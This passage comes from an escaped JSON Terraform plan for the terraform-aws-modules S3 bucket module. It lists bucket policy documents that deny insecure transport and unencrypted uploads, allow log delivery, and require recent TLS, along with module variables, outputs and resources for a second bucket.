                            }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\",\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyInsecureTransport\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_insecure_transport_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.deny_unencrypted_object_uploads\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"deny_unencrypted_object_uploads\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"Null\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    true\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-server-side-encryption\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyUnencryptedObjectUploads\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_deny_unencrypted_object_uploads\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.elb_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"elb_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"logdelivery.elasticloadbalancing.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_elb_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.inventory_and_analytics_destination_policy\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"inventory_and_analytics_destination_policy\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"ArnLike\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.inventory_self_source_destination\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\",\n                                    \"var.inventory_source_bucket_arn\",\n                                    \"var.analytics_self_source_destination\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\",\n                                    \"var.analytics_source_bucket_arn\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SourceArn\"\n                                }\n                              },\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"references\": [\n                                    \"var.inventory_self_source_destination\",\n                                    \"data.aws_caller_identity.current.id\",\n                                    \"data.aws_caller_identity.current\",\n                                    \"var.inventory_source_account_id\",\n                                    \"var.analytics_self_source_destination\",\n                                    \"data.aws_caller_identity.current.id\",\n                                    \"data.aws_caller_identity.current\",\n                                    \"var.analytics_source_account_id\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"aws:SourceAccount\"\n                                }\n                              },\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"bucket-owner-full-control\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-acl\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"s3.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"destinationInventoryAndAnalyticsPolicy\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_inventory_destination_policy\",\n                          \"var.attach_analytics_destination_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.lb_log_delivery\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"lb_log_delivery\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:PutObject\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"StringEquals\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"bucket-owner-full-control\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:x-amz-acl\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"delivery.logs.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSLogDeliveryWrite\"\n                            }\n                          },\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:GetBucketAcl\",\n                                \"s3:ListBucket\"\n                              ]\n                            },\n                            \"effect\": {\n                              \"constant_value\": \"Allow\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"delivery.logs.amazonaws.com\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"Service\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"AWSLogDeliveryAclCheck\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_lb_log_delivery_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_iam_policy_document.require_latest_tls\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_iam_policy_document\",\n                      \"name\": \"require_latest_tls\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"expressions\": {\n                        \"statement\": [\n                          {\n                            \"actions\": {\n                              \"constant_value\": [\n                                \"s3:*\"\n                              ]\n                            },\n                            \"condition\": [\n                              {\n                                \"test\": {\n                                  \"constant_value\": \"NumericLessThan\"\n                                },\n                                \"values\": {\n                                  \"constant_value\": [\n                                    \"1.2\"\n                                  ]\n                                },\n                                \"variable\": {\n                                  \"constant_value\": \"s3:TlsVersion\"\n                                }\n                              }\n                            ],\n                            \"effect\": {\n                              \"constant_value\": \"Deny\"\n                            },\n                            \"principals\": [\n                              {\n                                \"identifiers\": {\n                                  \"constant_value\": [\n                                    \"*\"\n                                  ]\n                                },\n                                \"type\": {\n                                  \"constant_value\": \"*\"\n                                }\n                              }\n                            ],\n                            \"resources\": {\n                              \"references\": [\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\",\n                                \"aws_s3_bucket.this[0].arn\",\n                                \"aws_s3_bucket.this[0]\",\n                                \"aws_s3_bucket.this\"\n                              ]\n                            },\n                            \"sid\": {\n                              \"constant_value\": \"denyOutdatedTLS\"\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.attach_require_latest_tls_policy\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"data.aws_partition.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_partition\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"schema_version\": 0\n                    },\n                    {\n                      \"address\": \"data.aws_region.current\",\n                      \"mode\": \"data\",\n                      \"type\": \"aws_region\",\n                      \"name\": \"current\",\n                      \"provider_config_key\": \"s3-bucket-1:aws\",\n                      \"schema_version\": 0\n                    }\n                  ],\n                  \"variables\": {\n                    \"acceleration_status\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) Sets the accelerate configuration of an existing bucket. Can be Enabled or Suspended.\"\n                    },\n                    \"access_log_delivery_policy_source_accounts\": {\n                      \"default\": [],\n                      \"description\": \"(Optional) List of AWS Account IDs should be allowed to deliver access logs to this bucket.\"\n                    },\n                    \"access_log_delivery_policy_source_buckets\": {\n                      \"default\": [],\n                      \"description\": \"(Optional) List of S3 bucket ARNs wich should be allowed to deliver access logs to this bucket.\"\n                    },\n                    \"acl\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) The canned ACL to apply. Conflicts with `grant`\"\n                    },\n                    \"allowed_kms_key_arn\": {\n                      \"default\": null,\n                      \"description\": \"The ARN of KMS key which should be allowed in PutObject\"\n                    },\n                    \"analytics_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing bucket analytics configuration.\"\n                    },\n                    \"analytics_self_source_destination\": {\n                      \"default\": false,\n                      \"description\": \"Whether or not the analytics source bucket is also the destination bucket.\"\n                    },\n                    \"analytics_source_account_id\": {\n                      \"default\": null,\n                      \"description\": \"The analytics source account id.\"\n                    },\n                    \"analytics_source_bucket_arn\": {\n                      \"default\": null,\n                      \"description\": \"The analytics source bucket ARN.\"\n                    },\n                    \"attach_access_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have S3 access log delivery policy attached\"\n                    },\n                    \"attach_analytics_destination_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket analytics destination policy attached.\"\n                    },\n                    \"attach_deny_incorrect_encryption_headers\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should deny incorrect encryption headers policy attached.\"\n                    },\n                    \"attach_deny_incorrect_kms_key_sse\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket policy should deny usage of incorrect KMS key SSE.\"\n                    },\n                    \"attach_deny_insecure_transport_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have deny non-SSL transport policy attached\"\n                    },\n                    \"attach_deny_unencrypted_object_uploads\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should deny unencrypted object uploads policy attached.\"\n                    },\n                    \"attach_elb_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have ELB log delivery policy attached\"\n                    },\n                    \"attach_inventory_destination_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket inventory destination policy attached.\"\n                    },\n                    \"attach_lb_log_delivery_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have ALB/NLB log delivery policy attached\"\n                    },\n                    \"attach_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should have bucket policy attached (set to `true` to use value of `policy` as bucket policy)\"\n                    },\n                    \"attach_public_policy\": {\n                      \"default\": true,\n                      \"description\": \"Controls if a user defined public bucket policy will be attached (set to `false` to allow upstream to apply defaults to the bucket)\"\n                    },\n                    \"attach_require_latest_tls_policy\": {\n                      \"default\": false,\n                      \"description\": \"Controls if S3 bucket should require the latest version of TLS\"\n                    },\n                    \"block_public_acls\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should block public ACLs for this bucket.\"\n                    },\n                    \"block_public_policy\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should block public bucket policies for this bucket.\"\n                    },\n                    \"bucket\": {\n                      \"default\": null,\n                      \"description\": \"(Optional, Forces new resource) The name of the bucket. If omitted, Terraform will assign a random, unique name.\"\n                    },\n                    \"bucket_prefix\": {\n                      \"default\": null,\n                      \"description\": \"(Optional, Forces new resource) Creates a unique bucket name beginning with the specified prefix. Conflicts with bucket.\"\n                    },\n                    \"control_object_ownership\": {\n                      \"default\": false,\n                      \"description\": \"Whether to manage S3 Bucket Ownership Controls on this bucket.\"\n                    },\n                    \"cors_rule\": {\n                      \"default\": [],\n                      \"description\": \"List of maps containing rules for Cross-Origin Resource Sharing.\"\n                    },\n                    \"create_bucket\": {\n                      \"default\": true,\n                      \"description\": \"Controls if S3 bucket should be created\"\n                    },\n                    \"expected_bucket_owner\": {\n                      \"default\": null,\n                      \"description\": \"The account ID of the expected bucket owner\"\n                    },\n                    \"force_destroy\": {\n                      \"default\": false,\n                      \"description\": \"(Optional, Default:false ) A boolean that indicates all objects should be deleted from the bucket so that the bucket can be destroyed without error. These objects are not recoverable.\"\n                    },\n                    \"grant\": {\n                      \"default\": [],\n                      \"description\": \"An ACL policy grant. Conflicts with `acl`\"\n                    },\n                    \"ignore_public_acls\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should ignore public ACLs for this bucket.\"\n                    },\n                    \"intelligent_tiering\": {\n                      \"default\": {},\n                      \"description\": \"Map containing intelligent tiering configuration.\"\n                    },\n                    \"inventory_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing S3 inventory configuration.\"\n                    },\n                    \"inventory_self_source_destination\": {\n                      \"default\": false,\n                      \"description\": \"Whether or not the inventory source bucket is also the destination bucket.\"\n                    },\n                    \"inventory_source_account_id\": {\n                      \"default\": null,\n                      \"description\": \"The inventory source account id.\"\n                    },\n                    \"inventory_source_bucket_arn\": {\n                      \"default\": null,\n                      \"description\": \"The inventory source bucket ARN.\"\n                    },\n                    \"lifecycle_rule\": {\n                      \"default\": [],\n                      \"description\": \"List of maps containing configuration of object lifecycle management.\"\n                    },\n                    \"logging\": {\n                      \"default\": {},\n                      \"description\": \"Map containing access bucket logging configuration.\"\n                    },\n                    \"metric_configuration\": {\n                      \"default\": [],\n                      \"description\": \"Map containing bucket metric configuration.\"\n                    },\n                    \"object_lock_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing S3 object locking configuration.\"\n                    },\n                    \"object_lock_enabled\": {\n                      \"default\": false,\n                      \"description\": \"Whether S3 bucket should have an Object Lock configuration enabled.\"\n                    },\n                    \"object_ownership\": {\n                      \"default\": \"BucketOwnerEnforced\",\n                      \"description\": \"Object ownership. Valid values: BucketOwnerEnforced, BucketOwnerPreferred or ObjectWriter. 'BucketOwnerEnforced': ACLs are disabled, and the bucket owner automatically owns and has full control over every object in the bucket. 'BucketOwnerPreferred': Objects uploaded to the bucket change ownership to the bucket owner if the objects are uploaded with the bucket-owner-full-control canned ACL. 'ObjectWriter': The uploading account will own the object if the object is uploaded with the bucket-owner-full-control canned ACL.\"\n                    },\n                    \"owner\": {\n                      \"default\": {},\n                      \"description\": \"Bucket owner's display name and ID. Conflicts with `acl`\"\n                    },\n                    \"policy\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) A valid bucket policy JSON document. Note that if the policy document is not specific enough (but still valid), Terraform may view the policy as constantly changing in a terraform plan. In this case, please make sure you use the verbose/specific version of the policy. For more information about building AWS IAM policy documents with Terraform, see the AWS IAM Policy Document Guide.\"\n                    },\n                    \"replication_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing cross-region replication configuration.\"\n                    },\n                    \"request_payer\": {\n                      \"default\": null,\n                      \"description\": \"(Optional) Specifies who should bear the cost of Amazon S3 data transfer. Can be either BucketOwner or Requester. By default, the owner of the S3 bucket would incur the costs of any data transfer. See Requester Pays Buckets developer guide for more information.\"\n                    },\n                    \"restrict_public_buckets\": {\n                      \"default\": true,\n                      \"description\": \"Whether Amazon S3 should restrict public bucket policies for this bucket.\"\n                    },\n                    \"server_side_encryption_configuration\": {\n                      \"default\": {},\n                      \"description\": \"Map containing server-side encryption configuration.\"\n                    },\n                    \"tags\": {\n                      \"default\": {},\n                      \"description\": \"(Optional) A mapping of tags to assign to the bucket.\"\n                    },\n                    \"versioning\": {\n                      \"default\": {},\n                      \"description\": \"Map containing versioning configuration.\"\n                    },\n                    \"website\": {\n                      \"default\": {},\n                      \"description\": \"Map containing static web-site hosting or redirect configuration.\"\n                    }\n                  },\n                  \"address\": \"module.test.module.s3-bucket-1\"\n                },\n                \"version_constraint\": \"4.0.1\"\n              },\n              \"s3-bucket-2\": {\n                \"source\": \"terraform-aws-modules/s3-bucket/aws\",\n                \"module\": {\n                  \"outputs\": {\n                    \"s3_bucket_arn\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].arn\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The ARN of the bucket. Will be of format arn:aws:s3:::bucketname.\"\n                    },\n                    \"s3_bucket_bucket_domain_name\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].bucket_domain_name\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The bucket domain name. Will be of format bucketname.s3.amazonaws.com.\"\n                    },\n                    \"s3_bucket_bucket_regional_domain_name\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].bucket_regional_domain_name\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The bucket region-specific domain name. The bucket domain name including the region name, please refer here for format. Note: The AWS CloudFront allows specifying S3 region-specific endpoint when creating S3 origin, it will prevent redirect issues from CloudFront to S3 Origin URL.\"\n                    },\n                    \"s3_bucket_hosted_zone_id\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].hosted_zone_id\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The Route 53 Hosted Zone ID for this bucket's region.\"\n                    },\n                    \"s3_bucket_id\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_policy.this[0].id\",\n                          \"aws_s3_bucket_policy.this[0]\",\n                          \"aws_s3_bucket_policy.this\",\n                          \"aws_s3_bucket.this[0].id\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The name of the bucket.\"\n                    },\n                    \"s3_bucket_lifecycle_configuration_rules\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_lifecycle_configuration.this[0].rule\",\n                          \"aws_s3_bucket_lifecycle_configuration.this[0]\",\n                          \"aws_s3_bucket_lifecycle_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The lifecycle rules of the bucket, if the bucket is configured with lifecycle rules. If not, this will be an empty string.\"\n                    },\n                    \"s3_bucket_policy\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_policy.this[0].policy\",\n                          \"aws_s3_bucket_policy.this[0]\",\n                          \"aws_s3_bucket_policy.this\"\n                        ]\n                      },\n                      \"description\": \"The policy of the bucket, if the bucket is configured with a policy. If not, this will be an empty string.\"\n                    },\n                    \"s3_bucket_region\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket.this[0].region\",\n                          \"aws_s3_bucket.this[0]\",\n                          \"aws_s3_bucket.this\"\n                        ]\n                      },\n                      \"description\": \"The AWS region this bucket resides in.\"\n                    },\n                    \"s3_bucket_website_domain\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_website_configuration.this[0].website_domain\",\n                          \"aws_s3_bucket_website_configuration.this[0]\",\n                          \"aws_s3_bucket_website_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The domain of the website endpoint, if the bucket is configured with a website. If not, this will be an empty string. This is used to create Route 53 alias records.\"\n                    },\n                    \"s3_bucket_website_endpoint\": {\n                      \"expression\": {\n                        \"references\": [\n                          \"aws_s3_bucket_website_configuration.this[0].website_endpoint\",\n                          \"aws_s3_bucket_website_configuration.this[0]\",\n                          \"aws_s3_bucket_website_configuration.this\"\n                        ]\n                      },\n                      \"description\": \"The website endpoint, if the bucket is configured with a website. If not, this will be an empty string.\"\n                    }\n                  },\n                  \"resources\": [\n                    {\n                      \"address\": \"aws_s3_bucket.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"var.bucket\"\n                          ]\n                        },\n                        \"bucket_prefix\": {\n                          \"references\": [\n                            \"var.bucket_prefix\"\n                          ]\n                        },\n                        \"force_destroy\": {\n                          \"references\": [\n                            \"var.force_destroy\"\n                          ]\n                        },\n                        \"object_lock_enabled\": {\n                          \"references\": [\n                            \"var.object_lock_enabled\"\n                          ]\n                        },\n                        \"tags\": {\n                          \"references\": [\n                            \"var.tags\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_accelerate_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_accelerate_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        },\n                        \"status\": {\n                          \"references\": [\n                            \"var.acceleration_status\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"var.acceleration_status\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_acl.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_acl\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"acl\": {\n                          \"references\": [\n                            \"var.acl\",\n                            \"var.acl\"\n                          ]\n                        },\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.create_bucket_acl\"\n                        ]\n                      },\n                      \"depends_on\": [\n                        \"aws_s3_bucket_ownership_controls.this\"\n                      ]\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_analytics_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_analytics_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"var.analytics_configuration\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_cors_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_cors_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"expected_bucket_owner\": {\n                          \"references\": [\n                            \"var.expected_bucket_owner\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"count_expression\": {\n                        \"references\": [\n                          \"local.create_bucket\",\n                          \"local.cors_rules\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_intelligent_tiering_configuration.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_intelligent_tiering_configuration\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        },\n                        \"status\": {\n                          \"references\": [\n                            \"each.value.status\",\n                            \"each.value\",\n                            \"each.value.status\",\n                            \"each.value\"\n                          ]\n                        }\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                        \"references\": [\n                          \"local.intelligent_tiering\",\n                          \"local.create_bucket\"\n                        ]\n                      }\n                    },\n                    {\n                      \"address\": \"aws_s3_bucket_inventory.this\",\n                      \"mode\": \"managed\",\n                      \"type\": \"aws_s3_bucket_inventory\",\n                      \"name\": \"this\",\n                      \"provider_config_key\": \"s3-bucket-2:aws\",\n                      \"expressions\": {\n                        \"bucket\": {\n                          \"references\": [\n                            \"each.value.bucket\",\n                            \"each.value\",\n                            \"aws_s3_bucket.this[0].id\",\n                            \"aws_s3_bucket.this[0]\",\n                            \"aws_s3_bucket.this\"\n                          ]\n                        },\n                        \"destination\": [\n                          {\n                            \"bucket\": [\n                              {\n                                \"account_id\": {\n                                  \"references\": [\n                                    \"each.value.destination.account_id\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                },\n                                \"bucket_arn\": {\n                                  \"references\": [\n                                    \"each.value.destination.bucket_arn\",\n                                    \"each.value.destination\",\n                                    \"each.value\",\n                                    \"aws_s3_bucket.this[0].arn\",\n                                    \"aws_s3_bucket.this[0]\",\n                                    \"aws_s3_bucket.this\"\n                                  ]\n                                },\n                                \"format\": {\n                                  \"references\": [\n                                    \"each.value.destination.format\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                },\n                                \"prefix\": {\n                                  \"references\": [\n                                    \"each.value.destination.prefix\",\n                                    \"each.value.destination\",\n                                    \"each.value\"\n                                  ]\n                                }\n                              }\n                            ]\n                          }\n                        ],\n                        \"enabled\": {\n                          \"references\": [\n                            \"each.value.enabled\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"included_object_versions\": {\n                          \"references\": [\n                            \"each.value.included_object_versions\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"name\": {\n                          \"references\": [\n                            \"each.key\"\n                          ]\n                        },\n                        \"optional_fields\": {\n                          \"references\": [\n                            \"each.value.optional_fields\",\n                            \"each.value\"\n                          ]\n                        },\n                        \"schedule\": [\n                          {\n                            \"frequency\": {\n                              \"references\": [\n                                \"each.value.frequency\",\n                                \"each.value\"\n                              ]\n                            }\n                          }\n                        ]\n                      },\n                      \"schema_version\": 0,\n                      \"for_each_expression\": {\n                   